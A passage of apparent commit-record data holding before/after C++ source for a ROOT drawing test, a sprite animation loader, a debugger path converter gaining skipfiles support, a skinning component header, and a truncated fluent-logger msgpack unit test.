tree->Draw(\"fMatrix[2][2]>>hCellMatrix\",\"\",\"goff\");\n\n   tree->Draw(\"fMatrix - fVertex>>hFullOper\",\"\",\"goff\");\n   tree->Draw(\"fMatrix[2][1] - fVertex[5][1]>>hCellOper\",\"\",\"goff\");\n   tree->Draw(\"fMatrix[][1]  - fVertex[5][1]>>hColOper\",\"\",\"goff\");\n   tree->Draw(\"fMatrix[2][]  - fVertex[5][2]>>hRowOper\",\"\",\"goff\");\n   tree->Draw(\"fMatrix[2][]  - fVertex[5][]>>hMatchRowOper\",\"\",\"goff\");\n   tree->Draw(\"fMatrix[][2]  - fVertex[][1]>>hMatchColOper\",\"\",\"goff\");\n   tree->Draw(\"fMatrix[][2]  - fVertex[][]>>hRowMatOper\",\"\",\"goff\");\n   tree->Draw(\"fMatrix[][2]  - fVertex[5][]>>hMatchDiffOper\",\"\",\"goff\");\n   tree->Draw(\"fMatrix[][]   - fVertex[][]>>hFullOper2\",\"\",\"goff\");\n\n   \/\/ Test on variable arrays\n   tree->Draw(\"fClosestDistance>>hClosestDistance\",\"\",\"goff\");\n   tree->Draw(\"fClosestDistance[2]>>hClosestDistance2\",\"\",\"goff\");\n   tree->Draw(\"fClosestDistance[9]>>hClosestDistance9\",\"\",\"goff\");\n\n   \/\/ Test variable indexing\n   DrawSkippable(tree,\"fClosestDistance[fNvertex\/2]\",\"hClosestDistanceIndex\",\n                 !(level>0));\n   DrawSkippable(tree,\"fPx:fPy[fNpoint]\",\"fPy[fNpoint]>0\",\"hPxInd\",!(level>0));\n\n   \/\/ Test of simple function calls\n   DrawSkippable(tree,\"sqrt(fNtrack)\",\"hSqrtNtrack\",!(level>0));   \n\n   \/\/ Test string operations\n   DrawSkippable(tree,\"fEvtHdr.fEvtNum\",\"fType==\\\"type1\\\" \",\"hString\",!(level>0));\n   DrawSkippable(tree,\"fEvtHdr.fEvtNum\",\"strstr(fType,\\\"1\\\") \",\"+hString\",!(level>0));\n\n   \/\/ Test binary operators\n   DrawSkippable(tree,\"fValid<<4\",\"hShiftValid\",!(level>0));\n   DrawSkippable(tree,\"((fValid<<4)>>2)\",\"+hShiftValid\",!(level>0));\n   DrawSkippable(tree,\"fValid&0x1\",\"(fNvertex>10) && (fNseg<=6000)\"\n                 ,\"hAndValid\",!(level>0));\n\n   \/\/ Test weight\n   DrawSkippable(tree,\"fPx\",\"(fBx>.4) || (fBy<=-.4)\",\"hPxBx\",!(level>0));\n   DrawSkippable(tree,\"fPx\",\"fBx*fBx*(fBx>.4) + fBy*fBy*(fBy<=-.4)\",\n                 \"hPxBxWeight\",!(level>0));\n  \n   gBenchmark->Show(\"DrawTest\");  gBenchmark->Start(\"DrawTest\");\n\n   return hfile;\n\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"AnimSprLoader.h\"\n\n#include <sprite2\/AnimSprite.h>\n#include <sprite2\/SprTreePath.h>\n#include <sprite2\/UpdateParams.h>\n#include <simp\/from_int.h>\n#include <simp\/NodeAnimationSpr.h>\n\nnamespace gum\n{\n\nAnimSprLoader::AnimSprLoader(s2::AnimSprite* spr)\n\t: m_spr(spr)\n{\n\tif (m_spr) {\n\t\tm_spr->AddReference();\n\t}\n}\n\nAnimSprLoader::~AnimSprLoader()\n{\n\tif (m_spr) {\n\t\tm_spr->RemoveReference();\n\t}\n}\n\nvoid AnimSprLoader::LoadJson(const Json::Value& val, const std::string& dir)\n{\n\tif (!m_spr || !val.isMember(\"animation\")) {\n\t\treturn;\n\t}\n\n\tconst Json::Value& anim_val = val[\"animation\"];\n\n\tm_spr->SetLoop(anim_val[\"loop\"].asBool());\n\tm_spr->SetInterval(anim_val[\"interval\"].asDouble());\n\n\tm_spr->SetFPS(anim_val[\"fps\"].asInt());\n\n\tm_spr->SetStartRandom(s2::UpdateParams(), anim_val[\"start_random\"].asBool());\n\n\tif (anim_val.isMember(\"active\")) {\n\t\tm_spr->SetActive(anim_val[\"active\"].asBool(), NULL);\n\t}\n}\n\nvoid AnimSprLoader::LoadBin(const simp::NodeAnimationSpr* node)\n{\n\tif (!m_spr) {\n\t\treturn;\n\t}\n\n\tm_spr->SetLoop(simp::int2bool(node->loop));\n\tm_spr->SetInterval(simp::int2float(node->interval, 1024));\n\n\tm_spr->SetFPS(node->fps);\n}\n\n}<commit_msg>up s2<commit_after>#include \"AnimSprLoader.h\"\n\n#include <sprite2\/AnimSprite.h>\n#include <sprite2\/UpdateParams.h>\n#include <simp\/from_int.h>\n#include <simp\/NodeAnimationSpr.h>\n\nnamespace gum\n{\n\nAnimSprLoader::AnimSprLoader(s2::AnimSprite* spr)\n\t: m_spr(spr)\n{\n\tif (m_spr) {\n\t\tm_spr->AddReference();\n\t}\n}\n\nAnimSprLoader::~AnimSprLoader()\n{\n\tif (m_spr) {\n\t\tm_spr->RemoveReference();\n\t}\n}\n\nvoid AnimSprLoader::LoadJson(const Json::Value& val, const std::string& dir)\n{\n\tif (!m_spr || !val.isMember(\"animation\")) {\n\t\treturn;\n\t}\n\n\tconst Json::Value& anim_val = val[\"animation\"];\n\n\tm_spr->SetLoop(anim_val[\"loop\"].asBool());\n\tm_spr->SetInterval(anim_val[\"interval\"].asDouble());\n\n\tm_spr->SetFPS(anim_val[\"fps\"].asInt());\n\n\tm_spr->SetStartRandom(s2::UpdateParams(), anim_val[\"start_random\"].asBool());\n\n\tif (anim_val.isMember(\"active\")) {\n\t\tm_spr->SetActive(anim_val[\"active\"].asBool(), NULL);\n\t}\n}\n\nvoid AnimSprLoader::LoadBin(const simp::NodeAnimationSpr* node)\n{\n\tif (!m_spr) {\n\t\treturn;\n\t}\n\n\tm_spr->SetLoop(simp::int2bool(node->loop));\n\tm_spr->SetInterval(simp::int2float(node->interval, 1024));\n\n\tm_spr->SetFPS(node->fps);\n}\n\n}<|endoftext|>"}
{"text":"<commit_before>#include <debugger\/pathconvert.h>\n#include <debugger\/impl.h>\n#include <debugger\/path.h>\n#include <base\/util\/unicode.h>\n#include <base\/util\/dynarray.h>\n#include <deque>\n#include <Windows.h>\n\nnamespace vscode\n{\n\tpathconvert::pathconvert(debugger_impl* dbg)\n\t\t: debugger_(dbg)\n\t\t, sourcemap_()\n\t\t, coding_(eCoding::ansi)\n\t{ }\n\n\tvoid pathconvert::set_coding(eCoding coding)\n\t{\n\t\tcoding_ = coding;\n\t\tsource2client_.clear();\n\t}\n\n\tvoid pathconvert::add_sourcemap(const std::string& server, const std::string& client)\n\t{\n\t\tsourcemap_.push_back(std::make_pair(server, client));\n\t}\n\n\tvoid pathconvert::add_skipfiles(const std::string& pattern)\n\t{\n\t\tskipfiles_.push_back(pattern);\n\t}\n\n\tvoid pathconvert::clear()\n\t{\n\t\tsourcemap_.clear();\n\t}\n\n\tbool pathconvert::match_sourcemap(const std::string& srv, std::string& cli, const std::string& srvmatch, const std::string& climatch)\n\t{\n\t\tsize_t i = 0;\n\t\tfor (; i < srvmatch.size(); ++i) {\n\t\t\tif (i >= srv.size()) {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\tif (path::tochar(srvmatch[i]) == path::tochar(srv[i])) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\tcli = climatch + srv.substr(i);\n\t\treturn true;\n\t}\n\n\tbool pathconvert::server2client(const std::string& server, std::string& client)\n\t{\n\t\tfor (auto& it : sourcemap_)\n\t\t{\n\t\t\tif (match_sourcemap(server, client, it.first, it.second))\n\t\t\t{\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\t\tclient = path::normalize(server);\n\t\treturn true;\n\t}\n\n\tbool pathconvert::get(const std::string& source, std::string& client)\n\t{\n\t\tauto it = source2client_.find(source);\n\t\tif (it != source2client_.end())\n\t\t{\n\t\t\tclient = it->second;\n\t\t\treturn !client.empty();\n\t\t}\n\n\t\tbool res = true;\n\t\tif (debugger_->custom_) {\n\t\t\tstd::string server;\n\t\t\tif (debugger_->custom_->path_convert(source, server)) {\n\t\t\t\tres = server2client(server, client);\n\t\t\t}\n\t\t\telse {\n\t\t\t\tclient.clear();\n\t\t\t\tres = false;\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\tif (source[0] == '@') {\n\t\t\t\tstd::string server = coding_ == eCoding::utf8\n\t\t\t\t\t? source.substr(1) \n\t\t\t\t\t: base::a2u(base::strview(source.data() + 1, source.size() - 1))\n\t\t\t\t\t;\n\t\t\t\tres = server2client(server, client);\n\t\t\t}\n\t\t\telse {\n\t\t\t\tclient.clear();\n\t\t\t\tres = false;\n\t\t\t}\n\t\t}\n\t\tsource2client_[source] = client;\n\t\treturn res;\n\t}\n}\n<commit_msg>支持skipfiles<commit_after>#include <debugger\/pathconvert.h>\n#include <debugger\/impl.h>\n#include <debugger\/path.h>\n#include <base\/util\/unicode.h>\n#include <base\/util\/dynarray.h>\n#include <deque>\n#include <Windows.h>\n\nnamespace vscode\n{\n\tpathconvert::pathconvert(debugger_impl* dbg)\n\t\t: debugger_(dbg)\n\t\t, sourcemap_()\n\t\t, coding_(eCoding::ansi)\n\t{ }\n\n\tvoid pathconvert::set_coding(eCoding coding)\n\t{\n\t\tcoding_ = coding;\n\t\tsource2client_.clear();\n\t}\n\n\tvoid pathconvert::add_sourcemap(const std::string& server, const std::string& client)\n\t{\n\t\tsourcemap_.push_back(std::make_pair(server, client));\n\t}\n\n\tvoid pathconvert::add_skipfiles(const std::string& pattern)\n\t{\n\t\tskipfiles_.push_back(pattern);\n\t}\n\n\tvoid pathconvert::clear()\n\t{\n\t\tsourcemap_.clear();\n\t}\n\n\tbool pathconvert::match_sourcemap(const std::string& srv, std::string& cli, const std::string& srvmatch, const std::string& climatch)\n\t{\n\t\tsize_t i = 0;\n\t\tfor (; i < srvmatch.size(); ++i) {\n\t\t\tif (i >= srv.size()) {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\tif (path::tochar(srvmatch[i]) == path::tochar(srv[i])) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\tcli = climatch + srv.substr(i);\n\t\treturn true;\n\t}\n\n\tbool pathconvert::server2client(const std::string& server, std::string& client)\n\t{\n\t\tfor (auto& it : skipfiles_)\n\t\t{\n\t\t\tif (path::glob_match(it, server))\n\t\t\t{\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n\n\t\tfor (auto& it : sourcemap_)\n\t\t{\n\t\t\tif (match_sourcemap(server, client, it.first, it.second))\n\t\t\t{\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\t\tclient = path::normalize(server);\n\t\treturn true;\n\t}\n\n\tbool pathconvert::get(const std::string& source, std::string& client)\n\t{\n\t\tauto it = source2client_.find(source);\n\t\tif (it != source2client_.end())\n\t\t{\n\t\t\tclient = it->second;\n\t\t\treturn !client.empty();\n\t\t}\n\n\t\tbool res = true;\n\t\tif (debugger_->custom_) {\n\t\t\tstd::string server;\n\t\t\tif (debugger_->custom_->path_convert(source, server)) {\n\t\t\t\tres = server2client(server, client);\n\t\t\t}\n\t\t\telse {\n\t\t\t\tclient.clear();\n\t\t\t\tres = false;\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\tif (source[0] == '@') {\n\t\t\t\tstd::string server = coding_ == eCoding::utf8\n\t\t\t\t\t? source.substr(1) \n\t\t\t\t\t: base::a2u(base::strview(source.data() + 1, source.size() - 1))\n\t\t\t\t\t;\n\t\t\t\tres = server2client(server, client);\n\t\t\t}\n\t\t\telse {\n\t\t\t\tclient.clear();\n\t\t\t\tres = false;\n\t\t\t}\n\t\t}\n\t\tsource2client_[source] = client;\n\t\treturn res;\n\t}\n}\n<|endoftext|>"}
{"text":"<commit_before>#ifndef SKINPLUGIN_SKINNING_COMPONENT_HPP_\n#define SKINPLUGIN_SKINNING_COMPONENT_HPP_\n\n#include <SkinningPluginMacros.hpp>\n\n#include <Core\/Animation\/HandleWeight.hpp>\n#include <Core\/Animation\/Pose.hpp>\n#include <Core\/Animation\/SkinningData.hpp>\n#include <Core\/Asset\/HandleData.hpp>\n#include <Core\/Geometry\/TriangleMesh.hpp>\n#include <Core\/Math\/DualQuaternion.hpp>\n#include <Core\/Utils\/Index.hpp>\n\n#include <Engine\/Component\/Component.hpp>\n#include <Engine\/Managers\/ComponentMessenger\/ComponentMessenger.hpp>\n#include <Engine\/Renderer\/RenderTechnique\/RenderTechnique.hpp>\n\nnamespace SkinningPlugin {\n\n\/\/\/ The SkinningComponent class is responsible for applying Geometric Skinning Methods\n\/\/\/ on an animated object's mesh.\nclass SKIN_PLUGIN_API SkinningComponent : public Ra::Engine::Component {\n  public:\n    \/\/\/ The Geometric Skinning Method.\n    enum SkinningType {\n        LBS = 0,  \/\/\/< Linear Blend Skinning\n        DQS,      \/\/\/< Dual Quaternion Skinning\n        COR,      \/\/\/< Center of Rotation skinning\n        STBS_LBS, \/\/\/< Stretchable Twistable Bone Skinning with LBS\n        STBS_DQS  \/\/\/< Stretchable Twistable Bone Skinning with DQS\n    };\n\n    SkinningComponent( const std::string& name, SkinningType type, Ra::Engine::Entity* entity ) :\n        Component( name, entity ),\n        m_skinningType( type ),\n        m_isReady( false ),\n        m_forceUpdate( false ),\n        m_weightBone( 0 ),\n        m_weightType( 0 ),\n        m_showingWeights( false ) {}\n\n    virtual ~SkinningComponent() {}\n\n    virtual void initialize() override;\n\n    \/\/\/ Apply the Skinning Method.\n    void skin();\n\n    \/\/\/ Update internal data and apply postprocesses to the mesh, e.g. normal computation.\n    void endSkinning();\n\n    \/\/\/ Sets the Skinning method to use.\n    void setSkinningType( SkinningType type );\n\n    \/\/\/ \\returns the current skinning method.\n    inline SkinningType getSkinningType() const { return m_skinningType; }\n\n    \/\/\/ Loads the skinning weights from the given Handledata.\n    \/\/ TODO: for now, weights are stored in the AnimationComponent.\n    virtual void handleWeightsLoading( const Ra::Core::Asset::HandleData* data,\n                                       const std::string& meshName );\n\n    \/\/\/ @returns the reference skinning data.\n    const Ra::Core::Skinning::RefData* getRefData() const { return &m_refData; }\n\n    \/\/\/ @returns the current Pose data.\n    const Ra::Core::Skinning::FrameData* getFrameData() const { return &m_frameData; }\n\n    \/\/\/ @returns the list of DualQuaternions used for DQS.\n    const Ra::Core::AlignedStdVector<Ra::Core::DualQuaternion>* getDQ() const { return &m_DQ; }\n\n    \/\/\/ Toggles display of skinning weights.\n    void showWeights( bool on );\n\n    \/\/\/ Set the type of skinning weight to display:\n    \/\/\/  - 0 for standard skinning weights\n    \/\/\/  - 1 for stbs weights\n    void showWeightsType( int type );\n\n    \/\/\/ Set the bone to show the weights of.\n    void setWeightBone( uint bone );\n\n  public:\n    \/\/\/ Registers the Entity name for Component communication (out).\n    void setupIO( const std::string& id );\n\n    \/\/\/ Computes internal data related to the Skinning method.\n    void setupSkinningType( SkinningType type );\n\n    \/\/\/ Registers the Entity name for Component communication (in\/out).\n    void setContentsName( const std::string& name );\n\n  public:\n    \/\/\/ The Entity name for Component communication.\n    std::string m_contentsName;\n\n  private:\n    \/\/ Internal function to create the skinning weights.\n    void createWeightMatrix();\n\n    \/\/\/ Skinning Weight Matrix getter for CC.\n    const Ra::Core::Animation::WeightMatrix* getWeightsOutput() const;\n\n  private:\n    \/\/\/ The mesh name for Component communication.\n    std::string m_meshName;\n\n    \/\/\/ The refrence Skinning data.\n    Ra::Core::Skinning::RefData m_refData;\n\n    \/\/\/ The current Pose data.\n    Ra::Core::Skinning::FrameData m_frameData;\n\n    \/\/\/ Getter for the animation skeletton.\n    Ra::Engine::ComponentMessenger::CallbackTypes<Ra::Core::Animation::Skeleton>::Getter\n        m_skeletonGetter;\n\n    \/\/\/ Getter\/Setter for the mesh vertices.\n    Ra::Engine::ComponentMessenger::CallbackTypes<Ra::Core::Vector3Array>::ReadWrite\n        m_verticesWriter;\n\n    \/\/\/ Getter\/Setter for the mesh normals.\n    Ra::Engine::ComponentMessenger::CallbackTypes<Ra::Core::Vector3Array>::ReadWrite\n        m_normalsWriter;\n\n    \/\/ Read FMC's RO idx.\n    Ra::Engine::ComponentMessenger::CallbackTypes<Ra::Core::Utils::Index>::Getter\n        m_renderObjectReader;\n\n    \/\/ Getter\/Setter to the mesh\n    Ra::Engine::ComponentMessenger::CallbackTypes<Ra::Core::Geometry::TriangleMesh>::ReadWrite\n        m_meshWritter;\n\n    \/\/\/ The Skinning Method.\n    SkinningType m_skinningType;\n\n    \/\/\/ The Skinning Weight Matrix.\n    Ra::Core::Animation::WeightMatrix m_weights;\n\n    \/\/\/ Are all the required data available.\n    bool m_isReady;\n\n    \/\/\/ Whether skinning is mandatory for the current frame.\n    bool m_forceUpdate;\n\n    \/\/\/ The list of DualQuaternions used for DQS.\n    Ra::Core::AlignedStdVector<Ra::Core::DualQuaternion> m_DQ;\n\n    \/\/\/ The duplicate vertices map, used to recompute smooth normals.\n    std::vector<Ra::Core::Utils::Index> m_duplicatesMap;\n\n    \/\/\/ The skinning weights, stored per bone.\n    std::map<std::string, std::vector<std::pair<uint, Scalar>>> m_loadedWeights;\n\n    \/\/\/ The STBS weights.\n    Ra::Core::Animation::WeightMatrix m_weightSTBS;\n\n    \/\/\/ Initial RO shader config when not showing skinning weights.\n    std::shared_ptr<Ra::Engine::RenderTechnique> m_baseTechnique;\n    std::shared_ptr<Ra::Engine::RenderTechnique> m_weightTechnique;\n    Ra::Core::Vector3Array m_baseUV;\n    Ra::Core::Vector3Array m_weightsUV;\n    uint m_weightBone;\n    uint m_weightType;\n    bool m_showingWeights;\n};\n} \/\/ namespace SkinningPlugin\n\n#endif \/\/  SKINPLUGIN_SKINNING_COMPONENT_HPP_\n<commit_msg>Add fixme for skinning normal ;<commit_after>#ifndef SKINPLUGIN_SKINNING_COMPONENT_HPP_\n#define SKINPLUGIN_SKINNING_COMPONENT_HPP_\n\n#include <SkinningPluginMacros.hpp>\n\n#include <Core\/Animation\/HandleWeight.hpp>\n#include <Core\/Animation\/Pose.hpp>\n#include <Core\/Animation\/SkinningData.hpp>\n#include <Core\/Asset\/HandleData.hpp>\n#include <Core\/Geometry\/TriangleMesh.hpp>\n#include <Core\/Math\/DualQuaternion.hpp>\n#include <Core\/Utils\/Index.hpp>\n\n#include <Engine\/Component\/Component.hpp>\n#include <Engine\/Managers\/ComponentMessenger\/ComponentMessenger.hpp>\n#include <Engine\/Renderer\/RenderTechnique\/RenderTechnique.hpp>\n\nnamespace SkinningPlugin {\n\n\/\/\/ The SkinningComponent class is responsible for applying Geometric Skinning Methods\n\/\/\/ on an animated object's mesh.\nclass SKIN_PLUGIN_API SkinningComponent : public Ra::Engine::Component {\n  public:\n    \/\/\/ The Geometric Skinning Method.\n    enum SkinningType {\n        LBS = 0,  \/\/\/< Linear Blend Skinning\n        DQS,      \/\/\/< Dual Quaternion Skinning\n        COR,      \/\/\/< Center of Rotation skinning\n        STBS_LBS, \/\/\/< Stretchable Twistable Bone Skinning with LBS\n        STBS_DQS  \/\/\/< Stretchable Twistable Bone Skinning with DQS\n    };\n\n    SkinningComponent( const std::string& name, SkinningType type, Ra::Engine::Entity* entity ) :\n        Component( name, entity ),\n        m_skinningType( type ),\n        m_isReady( false ),\n        m_forceUpdate( false ),\n        m_weightBone( 0 ),\n        m_weightType( 0 ),\n        m_showingWeights( false ) {}\n\n    virtual ~SkinningComponent() {}\n\n    virtual void initialize() override;\n\n    \/\/\/ Apply the Skinning Method.\n    void skin();\n\n    \/\/\/ Update internal data and apply postprocesses to the mesh, e.g. normal computation.\n    void endSkinning();\n\n    \/\/\/ Sets the Skinning method to use.\n    void setSkinningType( SkinningType type );\n\n    \/\/\/ \\returns the current skinning method.\n    inline SkinningType getSkinningType() const { return m_skinningType; }\n\n    \/\/\/ Loads the skinning weights from the given Handledata.\n    \/\/ TODO: for now, weights are stored in the AnimationComponent.\n    virtual void handleWeightsLoading( const Ra::Core::Asset::HandleData* data,\n                                       const std::string& meshName );\n\n    \/\/\/ @returns the reference skinning data.\n    const Ra::Core::Skinning::RefData* getRefData() const { return &m_refData; }\n\n    \/\/\/ @returns the current Pose data.\n    const Ra::Core::Skinning::FrameData* getFrameData() const { return &m_frameData; }\n\n    \/\/\/ @returns the list of DualQuaternions used for DQS.\n    const Ra::Core::AlignedStdVector<Ra::Core::DualQuaternion>* getDQ() const { return &m_DQ; }\n\n    \/\/\/ Toggles display of skinning weights.\n    void showWeights( bool on );\n\n    \/\/\/ Set the type of skinning weight to display:\n    \/\/\/  - 0 for standard skinning weights\n    \/\/\/  - 1 for stbs weights\n    void showWeightsType( int type );\n\n    \/\/\/ Set the bone to show the weights of.\n    void setWeightBone( uint bone );\n\n  public:\n    \/\/\/ Registers the Entity name for Component communication (out).\n    void setupIO( const std::string& id );\n\n    \/\/\/ Computes internal data related to the Skinning method.\n    void setupSkinningType( SkinningType type );\n\n    \/\/\/ Registers the Entity name for Component communication (in\/out).\n    void setContentsName( const std::string& name );\n\n  public:\n    \/\/\/ The Entity name for Component communication.\n    std::string m_contentsName;\n\n  private:\n    \/\/ Internal function to create the skinning weights.\n    void createWeightMatrix();\n\n    \/\/\/ Skinning Weight Matrix getter for CC.\n    const Ra::Core::Animation::WeightMatrix* getWeightsOutput() const;\n\n  private:\n    \/\/\/ The mesh name for Component communication.\n    std::string m_meshName;\n\n    \/\/\/ The refrence Skinning data.\n    Ra::Core::Skinning::RefData m_refData;\n\n    \/\/\/ The current Pose data.\n    Ra::Core::Skinning::FrameData m_frameData;\n\n    \/\/\/ Getter for the animation skeletton.\n    Ra::Engine::ComponentMessenger::CallbackTypes<Ra::Core::Animation::Skeleton>::Getter\n        m_skeletonGetter;\n\n    \/\/\/ Getter\/Setter for the mesh vertices.\n    Ra::Engine::ComponentMessenger::CallbackTypes<Ra::Core::Vector3Array>::ReadWrite\n        m_verticesWriter;\n\n    \/\/\/ Getter\/Setter for the mesh normals.\n    Ra::Engine::ComponentMessenger::CallbackTypes<Ra::Core::Vector3Array>::ReadWrite\n        m_normalsWriter;\n\n    \/\/ Read FMC's RO idx.\n    Ra::Engine::ComponentMessenger::CallbackTypes<Ra::Core::Utils::Index>::Getter\n        m_renderObjectReader;\n\n    \/\/ Getter\/Setter to the mesh\n    Ra::Engine::ComponentMessenger::CallbackTypes<Ra::Core::Geometry::TriangleMesh>::ReadWrite\n        m_meshWritter;\n\n    \/\/\/ The Skinning Method.\n    SkinningType m_skinningType;\n\n    \/\/\/ The Skinning Weight Matrix.\n    Ra::Core::Animation::WeightMatrix m_weights;\n\n    \/\/\/ Are all the required data available.\n    bool m_isReady;\n\n    \/\/\/ Whether skinning is mandatory for the current frame.\n    bool m_forceUpdate;\n\n    \/\/\/ The list of DualQuaternions used for DQS.\n    Ra::Core::AlignedStdVector<Ra::Core::DualQuaternion> m_DQ;\n\n    \/\/\/ The duplicate vertices map, used to recompute smooth normals.\n    \/\/ FIXME: implement proper normal skinning such as http:\/\/vcg.isti.cnr.it\/deformFactors\/\n    std::vector<Ra::Core::Utils::Index> m_duplicatesMap;\n\n    \/\/\/ The skinning weights, stored per bone.\n    std::map<std::string, std::vector<std::pair<uint, Scalar>>> m_loadedWeights;\n\n    \/\/\/ The STBS weights.\n    Ra::Core::Animation::WeightMatrix m_weightSTBS;\n\n    \/\/\/ Initial RO shader config when not showing skinning weights.\n    std::shared_ptr<Ra::Engine::RenderTechnique> m_baseTechnique;\n    std::shared_ptr<Ra::Engine::RenderTechnique> m_weightTechnique;\n    Ra::Core::Vector3Array m_baseUV;\n    Ra::Core::Vector3Array m_weightsUV;\n    uint m_weightBone;\n    uint m_weightType;\n    bool m_showingWeights;\n};\n} \/\/ namespace SkinningPlugin\n\n#endif \/\/  SKINPLUGIN_SKINNING_COMPONENT_HPP_\n<|endoftext|>"}
{"text":"<commit_before>\/*-\n * Copyright (c) 2015 Masayoshi Mizutani <mizutani@sfc.wide.ad.jp>\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in the\n *    documentation and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED\n * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL THE FOUNDATION OR CONTRIBUTORS\n * BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include <string.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <errno.h>\n#include <signal.h>\n#include \".\/gtest.h\"\n#include \"..\/src\/fluent\/message.hpp\"\n#include \"..\/src\/fluent\/exception.hpp\"\n#include \"..\/src\/debug.h\"\n\nclass MessageTest : public ::testing::Test {\nprivate:\n  enum { RP = 0, WP = 1 };\n  \nprotected:\n  msgpack::sbuffer sbuf_;\n  msgpack::packer<msgpack::sbuffer> pkr_;\n  MessageTest() : pkr_(&(this->sbuf_)) {}\n  virtual ~MessageTest() {}\n  virtual void SetUp() {}\n  virtual void TearDown() {}\n\n  std::string encode_msgpack(const std::string ruby_code) {\n    std::stringstream ss;\n    ss << \"d=\" << ruby_code << \";\" <<\n      \"require 'msgpack'; STDOUT.write(d.to_msgpack) \";\n    \n    int pipe_c2p[2], pipe_p2c[2];\n    pipe(pipe_c2p);\n    pipe(pipe_p2c);\n    \n    pid_t pid = fork();\n    if (pid == 0) {\n      \/\/ Running as child.\n      std::vector<std::string> arg = {\"ruby\"};\n      char **argv = new char*[arg.size() + 1];\n      for (size_t i = 0; i < arg.size(); i++) {\n        argv[i] = const_cast<char*>(arg[i].c_str());\n      }\n      argv[arg.size()] = NULL;\n\n      close(pipe_p2c[WP]);\n      close(pipe_c2p[RP]);\n      \n      dup2(pipe_p2c[RP], 0);\n      dup2(pipe_c2p[WP], 1);\n      close(pipe_p2c[RP]);\n      close(pipe_c2p[WP]);\n\n      if (execvp(\"ruby\", static_cast<char *const *>(argv)) < 0) {\n        perror(\"execvp\"); \n      }\n    }\n\n    \/\/ Running as parent.\n    write(pipe_p2c[WP], ss.str().c_str(), ss.str().length());\n    close(pipe_p2c[WP]);\n    char buf[BUFSIZ];\n    int stat;\n    int rsize = read(pipe_c2p[RP], buf, BUFSIZ);\n    int rc = waitpid(pid, &stat, 0);\n    EXPECT_EQ(pid, rc);\n\n    std::string res(buf, rsize);\n    return res;\n  }\n};\n\nTEST(Message, basic) {\n  fluent::Message::Map *obj = new fluent::Message::Map();\n  msgpack::sbuffer sbuf;\n  msgpack::packer<msgpack::sbuffer> pkr(&sbuf);\n\n  EXPECT_TRUE(obj->set(\"abc\", 1));\n\n  \/*\n    require 'msgpack'; a=[]; {'abc'=>1}.to_msgpack.each_byte{|v| \n    a.push(sprintf(\"0x%02X\", v))};puts \"{#{a.join(', ')}};\"\n  *\/\n  uint8_t data[] = {0x81, 0xa3, 0x61, 0x62, 0x63, 0x01};\n  obj->to_msgpack(&pkr);\n  EXPECT_EQ(sbuf.size(), sizeof(data));\n  EXPECT_TRUE(0 == memcmp(sbuf.data(), data, sizeof(data)));  \n}\n\nTEST_F(MessageTest, Map) {\n  fluent::Message::Map *obj = new fluent::Message::Map();\n  \/\/ Bool\n  EXPECT_TRUE(obj->set(\"bool\", true));\n  \/\/ Float\n  EXPECT_TRUE(obj->set(\"float\", 34.567));\n  \/\/ Fixnum\n  EXPECT_TRUE(obj->set(\"int\", 2345));\n  \/\/ String\n  EXPECT_TRUE(obj->set(\"str\", \"test\"));\n\n  std::string expect = encode_msgpack(\"{'bool'=>true, 'float'=>34.567, \"\n                                      \"'int'=>2345, 'str'=>'test', }\");\n  obj->to_msgpack(&pkr_);\n  EXPECT_EQ(sbuf_.size(), expect.length());\n  EXPECT_TRUE(0 == memcmp(sbuf_.data(), expect.data(), sbuf_.size()));\n}\n\nTEST_F(MessageTest, Array) {\n  fluent::Message::Array *obj = new fluent::Message::Array();\n  \/\/ Bool\n  obj->push(true);\n  \/\/ Float\n  obj->push(34.567);\n  \/\/ Fixnum\n  obj->push(2345);\n  \/\/ String\n  obj->push(\"test\");\n\n  std::string expect = encode_msgpack(\"[true, 34.567, 2345, 'test']\");\n  obj->to_msgpack(&pkr_);\n  EXPECT_EQ(sbuf_.size(), expect.length());\n  EXPECT_TRUE(0 == memcmp(sbuf_.data(), expect.data(), sbuf_.size()));\n}\n\nTEST_F(MessageTest, NestArray) {\n  fluent::Message::Array *obj = new fluent::Message::Array();\n  obj->push(\"a\");  \/\/ [\"a\"]\n  fluent::Message::Array *arr = obj->retain_array(); \/\/ [\"a\", []]\n  ASSERT_TRUE(arr != nullptr);\n  arr->push(\"b\"); \/\/ [\"a\", [\"b\"]]\n  arr->push(1);   \/\/ [\"a\", [\"b\", 1]]\n  fluent::Message::Map *map = obj->retain_map();  \/\/ [\"a\", [\"b\", 1], {}]\n  ASSERT_TRUE(map != nullptr);\n  map->set(\"c\", 1); \/\/ 